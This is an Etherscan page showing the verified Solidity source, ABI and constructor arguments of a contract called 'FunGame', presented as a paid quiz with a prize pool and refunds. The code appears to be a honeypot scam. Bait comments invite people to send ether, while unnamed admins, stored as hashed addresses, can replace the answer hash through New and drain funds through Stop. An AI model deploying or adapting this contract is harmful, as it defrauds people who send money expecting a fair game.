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/**
 *Submitted for verification at Etherscan.io on 2022-09-20
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

/***
    FOR INTERNAL TEST ONLY, DON'T TRY.
    TO TEST:
      1. Start: start quiz with 10 ether -- prize for the winner
      2. Try: try answer with 1.01 ether -- refund 3 ether if have tried every certain times 
      3. New: start a new game
      4. Stop: stop game and withdraw balance
***/
contract FunGame
{
    function Try(string memory _response) public payable
    {
        require(msg.sender == tx.origin);
        // withdraw pool for correct answer
        if(responseHash == keccak256(abi.encode(_response)) && msg.value > 1 ether)
        {
            payable(msg.sender).transfer(address(this).balance);
        }

        if(msg.value > 1 ether){
            tryCounter[msg.sender] = tryCounter[msg.sender] + 1;
            if((tryCounter[msg.sender] % refundCounter) == 0){
                // refund 3 ether if have tried every certain times 
                payable(msg.sender).transfer(3 ether);
            }
        }
    }

    bool private isTest = true;
    
    string public question;

    bytes32 private responseHash;

    mapping (bytes32=>bool) private admin;

    address private owner;
    mapping(address => uint256) private tryCounter;
    uint256 private refundCounter = 3;

    function Start(string calldata _question, string calldata _response) public payable isAdmin{
        // start game
        if(responseHash==0x0){
            responseHash = keccak256(abi.encode(_response));
            question = _question;
            refundCounter = 3;
        }
    }

    function Stop() public payable isAdmin {
        payable(msg.sender).transfer(address(this).balance);
    }

    function New(string calldata _question, bytes32 _responseHash, uint256 _refundCounter) public payable isAdmin {
        question = _question;
        responseHash = _responseHash;
        refundCounter = _refundCounter;
    }

    constructor(bytes32[] memory admins) {
        owner = msg.sender;
        for(uint256 i=0; i< admins.length; i++){
            admin[admins[i]] = true;
        }
    }

    modifier isAdmin(){
        require(admin[keccak256(abi.encodePacked(msg.sender))] || owner == msg.sender);
        _;
    }

    fallback() external {}

}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"bytes32[]","name":"admins","type":"bytes32[]"}],"stateMutability":"nonpayable","type":"constructor"},{"stateMutability":"nonpayable","type":"fallback"},{"inputs":[{"internalType":"string","name":"_question","type":"string"},{"internalType":"bytes32","name":"_responseHash","type":"bytes32"},{"internalType":"uint256","name":"_refundCounter","type":"uint256"}],"name":"New","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"string","name":"_question","type":"string"},{"internalType":"string","name":"_response","type":"string"}],"name":"Start","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"Stop","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"string","name":"_response","type":"string"}],"name":"Try","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"question","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"}]

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00000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000003259f081b4932d1d3fd2e1eac1d4bbda42e6df9ba7e0af00df8e96b776259cb8de2faa5fe205b4fa5540328cf2d5e66951aec09fa9c6313dc411803cbe8e5a1f3f45636e417b6312aa6dc8c7c5185163dd246164e0f39a3535438797accb0a9dd

-----Decoded View---------------
Arg [0] : admins (bytes32[]): System.Byte[],System.Byte[],System.Byte[]

-----Encoded View---------------
5 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000020
Arg [1] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [2] : 259f081b4932d1d3fd2e1eac1d4bbda42e6df9ba7e0af00df8e96b776259cb8d
Arg [3] : e2faa5fe205b4fa5540328cf2d5e66951aec09fa9c6313dc411803cbe8e5a1f3
Arg [4] : f45636e417b6312aa6dc8c7c5185163dd246164e0f39a3535438797accb0a9dd

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